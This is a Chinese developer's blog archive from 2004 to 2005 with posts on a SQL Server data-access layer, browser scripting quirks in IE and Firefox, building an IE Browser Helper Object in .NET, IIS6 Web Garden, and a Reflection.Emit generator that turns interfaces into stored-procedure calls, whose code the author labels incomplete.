- 零整合 -直接包含在CSP内, 无需额外下载,部署.
- 一致性 -当同一行记录有多个实例时, 如果其中一个实例采用Save方法,那么其他对象将得到同步.
- 适合设计,适合分工合作. 强调,CSP.AR非常适合经常改变需求的企业信息管理软件的开发.
- 不需要继承类似EntityBase的类.也不需要实现任何接口.
- 支持web-trust-level=Medium,
但需要对~/Portals/有写权限(这个以后可能可以选用BuildProvider的方式去防止写目录的问题)
- 轻松处理一对多,多对多的关系.
- 支持自定义查询
可以用SQL语句,把所有的主键读取回来, 然后使用CSPAbstractRecord<T>.BatchLoadRows 方法.
- 支持复合查询
使用INNER JOIN或者其他更加高级的SQL语句. 使用自定义的查询方案, 或者使用CSPAbstractRecordQuery的Where方法
- 支持超大数据的分页.
使用CSPAbstractRecordQuery的GetRange方法去进行超大数据的分页:
int totalCount;int pageIndex=11;int pageSize=20;int start=pageIndex*pageSize;
Product[] products=CSPAbstractRecord.All<Product>().Where("CategoryId={0}",11).OrderBy("ProductName").GetRange(start,pageSize,out totalCount);
CSP.AbstractRecord的缺点:
- 不支持abstract class的序列化.
其实已经提供了对序列化的支持. 不过那些abstract的类是不能用于序列化的.
如果要把对数据进行序列化, CSP.AbstractRecord提供了种很好的做法.
1.直接使用CSPAbstractRecord.Serialize/Deserialize方法去读写数据.
2.使用POCO对象.定义abstract class的Copy方法,然后序列化该POCO对象.
3.使用新类,把abstract class的实例当作成员,在类实例序列化,反序列化时,使用方案去处理abstract class的实例.
- 集成在CSP中, 只能运行在CSP.只支持SqlServer.
对于使用CSP开发的人员来说, 这反而是优点.
因为直接集成, 开发人员可以不用关系实现的细节, 减少学习和部署的难度.
另外因为只支持SqlServer, 所以开发人员,在他们的代码上, 可以很放心地使用各种SqlServer的SQL功能!
特别是在查询是使用IN/EXISTS 语句上, 针对SQLServer能更加简单直接地实现更多的功能.
- 支持继承,但是有个限度.
原因是数据的储存是需要和类设计严格关联的.这样类的数据储存就受到了一定的限制.
这个会在谈到分表,视图的设计的时候谈到如何实现继承的应用.
不少ORM框架都希望能和SQL语句say goodbye, 所以那些ORM框架都建立自己的查询定义语句.
其实编写那些语句本身就是麻烦的事情.
CSP.AbstractRecord则建议开发者使用简单直接的SQL条件语句.
例如: Product[] products=CSPAbstractRecord.All<Product>().Where("CategoryId={0}",11).OrderBy("ProductName").GetRange(10,10,out totalCount);
为什么叫CSP.AbstractRecord?而不是ORM?
ORM的最大特点是Mapper , 但是AbstractRecord不是Mapper. 它是一个数据的CRUD的可封装模式.
它可以保护数据,维护业务的逻辑的正确性.
偏向DB,而不是OO.
因为要搞出像Linq的db.Products.Add(product)的方案,实在不容易,而且得不偿失.
AbstractRecord的设计会接近数据库操作.
必须保存一项,才能进行更进步一步的操作.
而且这个会更加容易理解.
2005年11月03日
Firefox XMLHttpRequest 的 BUG
Firefox中,当一个脚本的执行是由另外一个Frame的事件引起的,
则当前window的脚本使用XMLHttpRequest进行异步调用后,
结果将不能取得. 错误为0x80040111 NS_ERROR_NOT_AVAILABLE.
IE 真的很慢
同样的DHTML操作,当规模达到一定程度时,IE的DOM的速度就变得非常慢了.
这个比起FIREFOX,OPERA,真的慢很多. 例如FIREFOX需要1秒做完的事情,IE需要6秒..~
IE天生很容易有MEMORY LEAK. 做客户端开发挺麻烦.
我曾经是IE的Fans, 但是经过最近的开发, 并且下载了FireFox的Skin
我发现FireFox也是很好的!
不过说起Bug,兼容性等事情, IE始终比FIREFOX好很多.
直接用XMLHttpRequest吗?
我一直都用Rane. 以前是,现在还是.
有时我曾经想, 做AJAX应用, 来来回回同步数据的操作就那么几个,
是不是为了性能,可以考虑手工做XMLHttpRequest的调用呢?
我想我不会手工去做了. 手工写重复无聊的代码, 调试起来都觉得麻烦~ 不是吗?
客户端用什么模式来写?
之前一段时间喜欢打WOW,而且还顺便学了LUA. 从中学到了一种基于事件的编程方式. 还有那简单的,少参数的全局函数的调用真的很爽.
我开始认为, 客户端所保留的数据,不用面向对象会直观很多!
使用全局函数的方式代理与服务器的通信,采用事件的方式更新UI.
这些操作不需要面向对象,不需要XXContext了. 很方便.
所以我现在用的结构大概是:
数据库 - 数据库访问层 - 业务层 - INTERNET - 客户端数据事件模型 - 客户端界面.
其中, 服务器一如既往 . 而客户端界面则用面向对象. (像Bindows那样)
至于 客户端数据事件模型 , 它完全不认识界面. 一切调用通过事件完成 , 更多的, 请参考 WOW 的界面开发..呵呵..
2005年04月24日
DateTime.Now的精度是很低,这个低的意思是,两次获取的DateTime.Now的Ticks的差,只是一个较大数的整数倍。例如在我的机器上,这个差最小是10.114ms。所以,如果我用DateTime.Now来计算时间差,那么就无法精确到10ms以内。
后来发现ASP.NET的TRACE的精度很高,用Reflector看它的实现,发现了它是使用这两个方法的:
参考MSDN:How To: Time Managed Code Using QueryPerformanceCounter and QueryPerformanceFrequency
我自己了按照这个写了个类,代码如下
在ASP。NET的应用,可以在Global.asax的Application_BeginRequest事件中加入代码来纪录程序开始时的TickCount:
Context.Items["BeginRequestTickCount"]=A.GetTickCount();
然后在页面输出的后面:
<html>.... <div align="center"> <%=new TimeSpan(A.GetTickCount()-(long)Context.Items["BeginRequestTickCount"]).TotalMilliseconds%> </div> </body></html>
这样就可以达到获取页面运行时间值了。(当然输出TotalMilliseconds后Asp.Net还要一些后期工作的,不过这个时间应该只需要0.n ms)
--
2005年04月22日
把VS.NET2005Beta2下载了下来,一直都没有好好地去研究一下。 今天突然想到一个有意思的Idea,关于程序中数据的获取方式的。 反正想试试而已,于是顺便练习了一下范型。
通常做数据缓存的时候,都是依靠Cache来实现的。 其实DotNet的垃圾回收和WeakReference类就可以用来做缓存了。 测试的代码如下:
下面说说大概的做法:
首先,在某个Context下(当然作成全局也可以。) 有一个储存这些数据的地方,在例子中是SomeContext._itemtable 而SomeContext.GetDataItem则使用一种类似Provider的方式来获取数据。 当执行GetDataItem时,需要指定一个key 如果_itemtable不存在这个key,则需要访问Provder来获取这个数据。 如果_itemtable已经有了这个数据了,则直接返回该数据就OK了。
当然,_itemtable和里面的Dictionary都不是 Cache 类型的, 那么数据是怎样自动释放的呢?
这里关键就是_itemtable里并不引用T类型的对象,它只储存WeakReference. 当T对象没有被任何引用,并且内存紧张,DotNet进行回收的时候,~T()就会被调用。 ~T()最好主动告诉SameContext.RemoveDataItem,它已经被回收啦。
所以,要执行SameContext.RemoveDataItem, T对象必须要引用着SameContext的实例,这使序列化有点麻烦。
当然如果要做序列化,那么就不要把_context也带过去了,~T()可以判断一下_context是否为空。 因为复制后对象并不是在_context._itemtable中的,并不存在回收的问题。
例子中还包含了一个 Products 属性。这个属性告诉了,怎样令Supplier本身是有生命的。 _products本身是为null的,一直到get_Products时,才开始使用_context来获取。 而且这个_products本身也算是缓存了。除非Supplier被回收了,否则就不需要重新访问数据库。
当然,基于这个也许能做很多更有意思的东西,例如基于这个来做一个ORM。 不过等有空的时候再完善这个模型吧。
-----------------------------------------------
如果希望目标的数据类型与这个模型无关,例如使用已有的数据类型,
那么可以使用后来做的DataPair<K,T>类来协助实现。
2005年03月07日
当使用
window.onunload=function(){...} 时,
如果窗口刷新或浏览其他页面,则该函数会被调用.
而如果窗口是被关闭时,则该函数不会被调用.
目前不清楚为什么会这样.
使用 window.attachEvent('onunload',function(){...});则可以解决问题.
Regards .
2005年02月27日
BHO关联原理 (BHO关联的是SHDOCVW,也就是说不只关联IE,下面全部用IE来说明)
1.IE的窗口打开时,先寻找SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\ 这里的对应的是CLSID
2.IE根据CLSID创建 BHO 对象,并且查找 IOleObjectWithSite 接口. (这个接口非常简单,只有SetSite和GetSite两个方法)
3.IE把IWebBrowser2传到 BHO 的 SetSite 方法
4.窗口关闭时,IE把 null 传到 BHO 的 SetSite 方法.
也就是说,如果你要做一个BHO,那么要做以下几个步骤
1.创建 COM 类型, 实现 IOleObjectWithSite 2.在 SetSite 的时候, 得到IWebBrowser2 , 并且进行自定义的初始化 . (一般是关联IWebBrowser2的事件)
3.注册COM类型,并且关联到SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\
OK , 下面来说说如何用 DotNet 做到这点 . 我这里有一个例子程序,是用 VS.NET2003 写的. 里面有一个 _steps.txt 解析了具体的过程.
要测试这个例子,你只需要编译这个工程,然后执行NetBHO.reg . 再重新打开IE就OK了.
_steps.txt 的内容为
重要的步骤是: .引用 Interop.SHDocVw . 这个引用有点麻烦,因为要注册到COM,所以NetBHO必须是强名的。所以必须要用ildasm/ilasm对SHDocVw重新进行编译和引用。
.定义 IOleObjectWithSite . 代码在 oledef.cs 里. 这个定义是根据 DotNet COM Interop 的原则, 在我VC6的Include找到的IOleObjectWithSite的定义的基础上进行的.
.定义 class MyBHO : IObjectWithSite , 并且实现它. 这个相对还是容易了.. 例子的实现是关联了一个 BeforeNavigate2事件 , 如果 url 是 ?keyword 或 http:///?keyword , 那么就转到 http://www.google.com/search?q=keyword 去. 也就是说,如果你在地址栏里输入 ?helloworld , 那么就会用 google 来查 helloworld 另外例子还关联了 NavigateComplete2事件, 并且在页面上插入了一条广告 ....
Regards ,Lostinet.
在FireFox下编写事件处理函数是很麻烦的事. 因为FireFox并没有 window.event . 如果要得到 event 对象,就必须要声明时间处理函数的第一个参数为event.
所以为了兼容IE与FireFox,一般的事件处理方法为: btn.onclick=handle_btn_click; function handle_btn_click(evt) { if(evt==null)evt=window.event;//IE //处理事件. } 对于简单的程序,这不算麻烦.
但对于一些复杂的程序,某写函数根本就不是直接与事件挂钩的.如果要把event传进该参数,那么所有的方法都要把event传来传去..这简直就是噩梦.
下面介绍一个解决这个麻烦事的方法,与原理.
JScript中,函数的调用是有一个 func.caller 这个属性的. 例如 function A() { B(); } function B() { alert(B.caller); } 如果B被A调用,那么B.caller就是A
另外,函数有一个arguments属性. 这个属性可以遍历函数当前执行的参数: function myalert() { var arr=[]; for(var i=0;i arr[i]=myalert.arguments[i]; alert(arr.join("-")); } alert("hello","world",1,2,3) 就能显示 hello-world-1-2-3 (arguments的个数与调用方有关,而与函数的参数定义没有任何关系)
根据这两个属性,我们可以得到第一个函数的event对象: btn.onclick=handle_click; function handle_click() { showcontent(); } function showcontent() { var evt=SearchEvent(); if(evt&&evt.shiftKey)//如果是基于事件的调用,并且shift被按下 window.open(global_helpurl); else location.href=global_helpurl; } function SearchEvent() { func=SearchEvent.caller; while(func!=null) { var arg0=func.arguments[0]; if(arg0) { if(arg0.constructor==Event) // 如果就是event 对象 return arg0; } func=func.caller; } return null; } 这个例子使用了SearchEvent来搜索event对象. 其中 'Event' 是 FireFox 的 event.constructor . 在该例子运行时, SearchEvent.caller就是showcontent,但是showcontent.arguments[0]是空.所以 func=func.caller 时,func变为handle_click . handle_click 被 FireFox 调用, 虽然没有定义参数,但是被调用时,第一个参数就是event,所以handle_click.arguments[0]就是event !
针对上面的知识,我们可以结合 prototype.__defineGetter__ 来实现 window.event 在 FireFox 下的实现:
下面给出一个简单的代码.. 有兴趣的可以补充
2005年02月02日
你的程序支持 IIS6 - Web Garden 吗?
很就没有更新BLOG了呵呵。 刚过来深圳,时间都是乱来的~~~
今天帮客户搞定一个部署上的问题,花了我半天的时间。。555。
后来才发现原来是IIS6 Web Garden的问题。
IIS6 Web Garden 指的是一个应用程序可以成多个进程(w3wp.exe)来执行,一次请求使用其中的一个。用这个的主要目的是提高程序的可用性。当其中一个进程发生错误,那么也不会影响其他进程。发生错误的进程可以根据规则关闭,而其他的进程则可以继续工作。
可惜不是每个应用程序都支持Web Garden的。 例如我做的那个就不是。
一般来说 , 不支持 Web Garden 的原因是各应用程序的内存状态是不同的。虽然是访问同一个网站 , 当访问第一个进程时,进程的内存如果纪录了某些重要的信息,而当访问第二个进程的时,却无法再得到那些信息时,那么程序就不一定能运行正常,或者会发生错误。
所以,一般使用 InProc HttpSessionState / HttpApplicationState / 静态变量来储存关键信息 的程序是不支持 Web Garden的。另外平时说Session信息丢失,也和这个有关。一般很多程序都使用Cache来储存临时数据,但如果某些被修改或删除的数据没有在该进程的Cache中得到更新,那么也会很容易导致程序出错。 如果你的程序用上面说的方法,并且在Windows2003/IIS6中发生奇怪的错误,那么请检查一下Web Garden的设置。 如果你希望应用程序支持Web Garden,甚至是支持集群,那么最简单的办法就是,尽量用Cookie来纪录登陆信息,以及所有的数据获取的动作都是从数据库中读取。例如Duwamish就是这种类型的程序。
如果一个应用程序连Web Garden都不支持,那么就更难支持集群了。
2004年12月12日
通常一个类的constructor是protected的时候,是不希望用户直接调用它. 但是我发现可以用这么一个方法来实现调用:
是不能编译通过的,但constructor却能通过
当然,如果该类是sealed就不行了,那么protected和private也没有区别了.
2004年11月19日
最近有病呆在家里,不是次就是睡,不只日夜颠倒了,还胖了不少。 不过空余的时间总不能浪费掉,所以开始了一个新的跨数据库访问组件。 不过那个组件要写比较长时间了,所以一时不会做得完。
不过今天用其中的技术做了个有用的例子,发到这里给大家参考一下。
这个例子的大概意思是,程序员参考存储的定义,写出一个接口出来,并且不需要写具体的实现代码,就能调用该接口了! 也就是说,程序员不需要写以下类似的代码了:
SqlCommand cmd=new SqlCommand("UpdateTopic",conn);
cmd.CommandType=CommandType.StoredProcedure;

SqlParameter pTitle=new SqlParameter("@title",SqlDbType.NVarChar,80);
pTitle.Value=title;
cmd.Parameters.Add(pTitle);

// .
程序的例子如下
 /**//****************************************************************\
*
* 用 System.Reflection.Emit 来自动生成调用储存过程的实现!
*
* By http://lostinet.com
*
* Copyrights : Not-Reversed
*
\****************************************************************/

//使用的例子
namespace Lostinet.Sample
  {
using System;
using System.Data;
using System.Data.SqlClient;
using System.Windows.Forms;

//定义一个接口,用于定义存储过程

interface INorthwindStoredProcedures
 {
//定义存储过程对应的方法

DataSet CustOrderHist(string CustomerID);

//如果储存过程名字和方法名字不同,应该用SqlAccessAttribute来进行说明
[SqlAccess("Employee Sales By Country")]
DataTable EmployeeSalesByCountry(DateTime Beginning_Date,DateTime Ending_Date);

// more

//MORE Ideas..

//直接执行SQL语句?
//[SqlAccess(SqlAccessType.SqlQuery,"SELECT * FROM Employees WHERE EmployeeID=@EmpId")]
//DataTable SelectEmployee(int EmpId);
}

class ConsoleApplication
 {
[STAThread]
static void Main(string[] args)
 {
using(SqlConnection conn=new SqlConnection("server=(local);trusted_connection=true;database=northwind"))
 {
//一句话就把实现创建了!
//需要传如 SqlConnection 和 SqlTransaction
//SqlTransaction可以为null

//这个好就好在,只要能得到SqlConnection/SqlTransaction就能用这个方法了,所以兼容 Lostinet.Data.SqlScope
INorthwindStoredProcedures nsp=(INorthwindStoredProcedures)
StoredProcedure.CreateStoredProcedureInterface(typeof(INorthwindStoredProcedures),conn,null);

//调用储存过程并且显示

ShowData("CustOrderHist ALFKI",nsp.CustOrderHist("ALFKI"));

ShowData("Employee Sales By Country",nsp.EmployeeSalesByCountry(new DateTime(1998,1,1),new DateTime(1999,1,1)));

}
}

static void ShowData(string title,object data)
 {
Form f=new Form();
f.Width=600;
f.Height=480;
f.Text=title;

DataGrid grid=new DataGrid();
grid.Dock=DockStyle.Fill;
grid.DataSource=data;

f.Controls.Add(grid);
f.ShowDialog();
}

}
}

 //实现方法(不完整)#region //实现方法(不完整)
namespace Lostinet.Sample
  {
using System;
using System.Collections;
using System.Reflection;
using System.Reflection.Emit;
using System.Data;
using System.Data.SqlClient;

//这个类作为实现的基类,
//目的是提供储存 SqlConnection/SqlTransaction 和公用的一些方法
//这个类必须为public,否则无法继承
//但开发者不会显式访问这个类
public class SPInterfaceBase : IDisposable
 {
public SPInterfaceBase()
 {
}

public void Dispose()
 {
}

//CreateStoredProcedureInterface会把相关的值SqlConnection/SqlTransaction存到这里
public SqlConnection connection;
public SqlTransaction transaction;

//创建一个SqlCommand
public SqlCommand CreateCommand(string spname)
 {
SqlCommand cmd=new SqlCommand(spname,connection,transaction);
cmd.CommandType=CommandType.StoredProcedure;
//TODO:
//cmd.Parameters.Add("@ReturnValue",
return cmd;
}

//由 Type 推算出 SqlDbType , 未完成
SqlDbType GetSqlDbType(Type type)
 {
//TODO:switch(type)

return SqlDbType.NVarChar;
}

//定义参数
public void DefineParameter(SqlCommand cmd,string name,Type type,ParameterDirection direction)
 {
SqlParameter param=new SqlParameter("@"+name,GetSqlDbType(type));
param.Direction=direction;
cmd.Parameters.Add(param);
}

//在SqlCommand执行前设置参数值
public void SetParameter(SqlCommand cmd,string name,object value)
 {
cmd.Parameters["@"+name].Value=(value==null?DBNull.Value:value);
}
//在SqlCommand执行后取得参数值
public object GetParameter(SqlCommand cmd,string name)
 {
return cmd.Parameters["@"+name].Value;
}

//根据不同的返回值执行不同的操作

public SqlDataReader ExecuteDataReader(SqlCommand cmd)
 {
return cmd.ExecuteReader();
}
public object ExecuteScalar(SqlCommand cmd)
 {
return cmd.ExecuteScalar();
}
public void ExecuteNonQuery(SqlCommand cmd)
 {
cmd.ExecuteNonQuery();
}
public DataSet ExecuteDataSet(SqlCommand cmd)
 {
DataSet ds=new DataSet();
using(SqlDataAdapter sda=new SqlDataAdapter(cmd))
 {
sda.Fill(ds);
}
return ds;
}
public DataTable ExecuteDataTable(SqlCommand cmd)
 {
DataTable table=new DataTable();
using(SqlDataAdapter sda=new SqlDataAdapter(cmd))
 {
sda.Fill(table);
}
return table;
}
public DataRow ExecuteDataRow(SqlCommand cmd)
 {
DataTable table=ExecuteDataTable(cmd);
if(table.Rows.Count==0)
return null;
return table.Rows[0];
}
}


public class StoredProcedure
 {
static public object CreateStoredProcedureInterface(Type interfaceType,SqlConnection connection,SqlTransaction transaction)
 {
//检查参数
if(interfaceType==null)throw(new ArgumentNullException("interfaceType"));
if(!interfaceType.IsInterface)
throw(new ArgumentException("argument is not interface","interfaceType"));
if(connection==null)throw(new ArgumentNullException("connection"));
if(transaction!=null)
 {
if(transaction.Connection!=connection)
throw(new ArgumentException("transaction.Connection!=connection","transaction"));
}

//创建StoredProcedure

StoredProcedure spemit=new StoredProcedure();
spemit.interfaceType=interfaceType;
spemit.connection=connection;
spemit.transaction=transaction;

//创建
return spemit.CreateInstance();
}

//用于储存已创建的类型
static Hashtable EmittedTypes=new Hashtable();
Type interfaceType;
SqlConnection connection;
SqlTransaction transaction;

private StoredProcedure()
 {
}

object CreateInstance()
 {
lock(interfaceType)
 {
//如果没有创建具体的实现,则创建它

if(emittedType==null)
 {
emittedType=(Type)EmittedTypes[interfaceType];

if(emittedType==null)
 {
CreateType();

//储存已创建类型
EmittedTypes[interfaceType]=emittedType;
}
}
}

//创建具体的实例
SPInterfaceBase spi=(SPInterfaceBase)Activator.CreateInstance(emittedType);

//设置SqlConnection/SqlTransaction
spi.connection=connection;
spi.transaction=transaction;

return spi;
}

Type emittedType;

TypeBuilder typeBuilder;

//创建类型
void CreateType()
 {
//创建 Assembly
//AssemblyBuilderAccess.Run-表示只用于运行,不在磁盘上保存
AssemblyName an=new AssemblyName();
an.Name="Assembly."+interfaceType.FullName+".Implementation";
AssemblyBuilder asmBuilder=AppDomain.CurrentDomain.DefineDynamicAssembly(an,AssemblyBuilderAccess.Run);

//创建Module
ModuleBuilder mdlBuilder=asmBuilder.DefineDynamicModule("Module."+interfaceType.FullName+".Implementation");

//创建Type,该类型继承 SPInterfaceBase
typeBuilder=mdlBuilder.DefineType(interfaceType.FullName+".Implementation",TypeAttributes.Class,typeof(SPInterfaceBase));

//实现所有的接口方法
EmitInterface(interfaceType);

//如果interfaceType是基于其他接口的
foreach(Type subinterface in interfaceType.GetInterfaces())
 {
//IDisposable不需要实现,由SPInterfaceBase实现了
if(subinterface==typeof(IDisposable))
continue;

EmitInterface(subinterface);
}


emittedType=typeBuilder.CreateType();
}

void EmitInterface(Type type)
 {
//实现接口
typeBuilder.AddInterfaceImplementation(type);

//列出接口的成员
foreach(MemberInfo member in type.GetMembers(BindingFlags.Instance|BindingFlags.Public))
 {
//约定-成员必须是方法,不能有属性啊,事件之类的
if(member.MemberType!=MemberTypes.Method)
throw(new Exception("Could Not Emit "+member.MemberType+" Automatically!"));

//取得接口中定义的方法
MethodInfo method=(MethodInfo)member;

//计算新方法的属性,在原来方法的属性上复制过来,并且不是Public/Abstract,加上Private
MethodAttributes methodattrs=method.Attributes;
methodattrs&=~(MethodAttributes.Public|MethodAttributes.Abstract);
methodattrs|=MethodAttributes.Private;

ParameterInfo[] paramInfos=method.GetParameters();
int paramlength=paramInfos.Length;

//取得参数的类型数组
Type[] paramTypes=new Type[paramlength];
for(int i=0;i<paramlength;i++)
 {
paramTypes[i]=paramInfos[i].ParameterType;
}

//在typeBuilder上建立新方法,参数类型与返回类型都与接口上的方法一致
MethodBuilder mthBuilder=typeBuilder.DefineMethod(method.Name,methodattrs,method.CallingConvention,method.ReturnType,paramTypes);

//复制新方法上的参数的名字和属性
for(int i=0;i<paramlength;i++)
 {
ParameterInfo pi=paramInfos[i];
//对于Instance,参数position由1开始
mthBuilder.DefineParameter(i+1,pi.Attributes,pi.Name);
}

//指定新方法是实现接口的方法的。
typeBuilder.DefineMethodOverride(mthBuilder,method);

//在类型上定义一个字段,这个字段用于储存被方法使用的SqlCommand
FieldBuilder field_cmd=typeBuilder.DefineField("_cmd_"+method.Name,typeof(SqlCommand),FieldAttributes.Private);

//ILGenerator 是用于生成实现代码的对象
ILGenerator ilg=mthBuilder.GetILGenerator();

//定义临时变量
LocalBuilder local_res=ilg.DeclareLocal(typeof(object));

//定义一个用于跳转的Label
Label label_cmd_ready=ilg.DefineLabel();

//this._cmd_MethodName
ilg.Emit(OpCodes.Ldarg_0); //this
ilg.Emit(OpCodes.Ldfld,field_cmd);//._cmd_MethodName

//if(this._cmd_MethodName!=null) 跳到 label_cmd_ready
ilg.Emit(OpCodes.Brtrue,label_cmd_ready);

//如果this._cmd_MethodName为null,则运行下面代码来创建SqlCommand



//this._cmd_MethodName=this.CreateCommand("MethodName");
ilg.Emit(OpCodes.Ldarg_0);

//this.CreateCommand
ilg.Emit(OpCodes.Ldarg_0);//参数0
ilg.Emit(OpCodes.Ldstr,SqlAccessAttribute.GetSPName(method));//参数1
//调用
ilg.Emit(OpCodes.Callvirt,typeof(SPInterfaceBase).GetMethod("CreateCommand",BindingFlags.Instance|BindingFlags.Public));

ilg.Emit(OpCodes.Stfld,field_cmd);// ._cmd_MethodName=

//this.DefineParameter( )
if(paramlength!=0)
 {
//取得DefineParameter的引用
MethodInfo method_DefineParameter=typeof(SPInterfaceBase).GetMethod("DefineParameter",BindingFlags.Instance|BindingFlags.Public);
for(int i=0;i<paramlength;i++)
 {
//取得各参数
ParameterInfo pi=paramInfos[i];

//this.DefineParameter(this._cmd_MethodName,"ParameterName",typeof(ParameterType),ParameterDirection.Xxx);

//参数0 - this
ilg.Emit(OpCodes.Ldarg_0);

//参数1 - this._cmd_MethodName
ilg.Emit(OpCodes.Ldarg_0);
ilg.Emit(OpCodes.Ldfld,field_cmd);

//参数2 - "ParameterName"
ilg.Emit(OpCodes.Ldstr,pi.Name);

//参数3 - typeof(ParameterType)
ilg.Emit(OpCodes.Ldtoken,pi.ParameterType);

//参数4 - ParameterDirection.Xxx
if(pi.ParameterType.IsByRef)
 {
ilg.Emit(OpCodes.Ldc_I4,(int)ParameterDirection.InputOutput);
}
else if(pi.IsOut)
 {
ilg.Emit(OpCodes.Ldc_I4,(int)ParameterDirection.Output);
}
else
 {
ilg.Emit(OpCodes.Ldc_I4,(int)ParameterDirection.Input);
}

//调用DefineParameter
ilg.Emit(OpCodes.Callvirt,method_DefineParameter);
}
}
//到这里 _cmd_CommandName 已经 OK 了。

//设置label_cmd_ready就指这里
ilg.MarkLabel(label_cmd_ready);
//cmd!=null now.

if(paramlength!=0)
 {
//现在要把方法的参数的值设置到SqlParameter上

MethodInfo method_SetParameter=typeof(SPInterfaceBase).GetMethod("SetParameter",BindingFlags.Instance|BindingFlags.Public);
for(int i=0;i<paramlength;i++)
 {
ParameterInfo pi=paramInfos[i];

//如果参数是 out 的,则不需要设置
if(!pi.ParameterType.IsByRef&&pi.IsOut)
continue;

//this.SetParameter(this._cmd_MethodName,"ParameterName",ParameterName);

ilg.Emit(OpCodes.Ldarg_0);
ilg.Emit(OpCodes.Ldarg_0);
ilg.Emit(OpCodes.Ldfld,field_cmd);

ilg.Emit(OpCodes.Ldstr,pi.Name);

//取得参数值,如果参数为ValueType,则Box到Object
ilg.Emit(OpCodes.Ldarg,i+1);
if(pi.ParameterType.IsValueType)
ilg.Emit(OpCodes.Box,pi.ParameterType);

ilg.Emit(OpCodes.Callvirt,method_SetParameter);
}
}

//现在要执行储存过程(执行SqlCommand)了

//这里根据返回值类型判断怎样执行SqlCommand

Type returnType=method.ReturnType;

//如果是 void 的,则不需要返回值
bool nores=returnType==typeof(void);

MethodInfo method_Execute=null;

if(nores)
 {
//不需要返回值
method_Execute=typeof(SPInterfaceBase).GetMethod("ExecuteNonQuery",BindingFlags.Instance|BindingFlags.Public);
}
else if(returnType==typeof(object))
 {
//返回object
method_Execute=typeof(SPInterfaceBase).GetMethod("ExecuteScalar",BindingFlags.Instance|BindingFlags.Public);
}
else if(returnType==typeof(DataSet))
 {
//返回DataSet
method_Execute=typeof(SPInterfaceBase).GetMethod("ExecuteDataSet",BindingFlags.Instance|BindingFlags.Public);
}
else if(returnType==typeof(DataTable))
 {
//返回DataTable
method_Execute=typeof(SPInterfaceBase).GetMethod("ExecuteDataTable",BindingFlags.Instance|BindingFlags.Public);
}
else if(returnType==typeof(DataRow))
 {
//返回DataRow
method_Execute=typeof(SPInterfaceBase).GetMethod("ExecuteDataRow",BindingFlags.Instance|BindingFlags.Public);
}
else
 {
//返回其他类型
foreach(Type retInterface in returnType.GetInterfaces())
 {
//如果是返回IDataReader
if(retInterface==typeof(IDataReader))
 {
//只支持SqlDataReader
if(!returnType.IsAssignableFrom(typeof(SqlDataReader)))
throw(new Exception("SqlDataReader could not convert to "+returnType.FullName));

method_Execute=typeof(SPInterfaceBase).GetMethod("ExecuteDataReader",BindingFlags.Instance|BindingFlags.Public);
break;
}
}
}

//如果找不到适合的策略,
if(method_Execute==null)
 {
//TODO:当然,这里应该有返回Int32,String, 的,不过懒得再写了。

//抛出异常,提示不支持该返回类型,要作者改改:)
throw(new NotSupportedException("NotSupport ReturnType:"+returnType.FullName));
}

//this.ExecuteXXX(this._cmd_MethodName)
ilg.Emit(OpCodes.Ldarg_0);
ilg.Emit(OpCodes.Ldarg_0);
ilg.Emit(OpCodes.Ldfld,field_cmd);
ilg.Emit(OpCodes.Callvirt,method_Execute);

//如果有返回值的,则是
//local_res=this.ExecuteXXX(this._cmd_MethodName)
if(!nores)
 {
if(returnType.IsValueType)
ilg.Emit(OpCodes.Box,returnType);
ilg.Emit(OpCodes.Stloc,local_res);
}

if(paramlength!=0)
 {
//这里处理ref/out的参数
MethodInfo method_GetParameter=typeof(SPInterfaceBase).GetMethod("GetParameter",BindingFlags.Instance|BindingFlags.Public);
for(int i=0;i<paramlength;i++)
 {
ParameterInfo pi=paramInfos[i];

//如果不是ref/out则跳过
if(!pi.ParameterType.IsByRef&&!pi.IsOut)
continue;

//ParameterName=this.GetParameter(this._cmd_Methodname,"ParameterName")
ilg.Emit(OpCodes.Ldarg_0);
ilg.Emit(OpCodes.Ldarg_0);
ilg.Emit(OpCodes.Ldfld,field_cmd);

ilg.Emit(OpCodes.Ldstr,pi.Name);

ilg.Emit(OpCodes.Callvirt,method_GetParameter);

//如果类型是值类型,则需要 Unbox
if(pi.ParameterType.IsValueType)
ilg.Emit(OpCodes.Unbox,pi.ParameterType);

ilg.Emit(OpCodes.Starg,i+1);
}
}

//如果是 void , 则直接 return;
//否者是 return local_res , 如果返回值类型是ValueType,则需要Unbox
if(!nores)
 {
ilg.Emit(OpCodes.Ldloc,local_res);
if(returnType.IsValueType)
ilg.Emit(OpCodes.Unbox,returnType);
}
ilg.Emit(OpCodes.Ret);

// //throw(new NotImplementedException());
// ilg.Emit(OpCodes.Newobj,typeof(NotImplementedException).GetConstructor(new Type[0]));
// ilg.Emit(OpCodes.Throw);

}
}
}

public enum SqlAccessType
 {
StoredProcedure
//TODO:
//,SqlQuery
}

[AttributeUsage(AttributeTargets.Method)]
public class SqlAccessAttribute : Attribute
 {
string _sp;

public SqlAccessAttribute(string spname)
 {
_sp=spname;
}

public string StoreProcedure
 {
get
 {
return _sp;
}
}

static public string GetSPName(MethodInfo method)
 {
if(method==null)throw(new ArgumentNullException("method"));

object[] attrs=method.GetCustomAttributes(typeof(SqlAccessAttribute),false);
if(attrs==null||attrs.Length==0)
return method.Name;

return ((SqlAccessAttribute)attrs[0]).StoreProcedure;
}

//TODO:
// public SqlAccessAttribute(SqlAccessType type,string text)
// {
//
// }
}
}
#endregion

 从这里复制代码:
2004年11月03日
一直都想找一个能用的捕捉屏幕的软件。
例如那些FLASH工具。不过看来没有一个是免费的。
今天要用PCMARK来测试机器,发现它需要安装Windows Media Encoder。
既然装了,没有理由不打开来看看嘛。
发现 Windows Media Encoder 能捕捉屏幕或某一个窗口,保存为WMV。
嘿嘿,看来以后做演示容易很多了。
2004年10月30日
|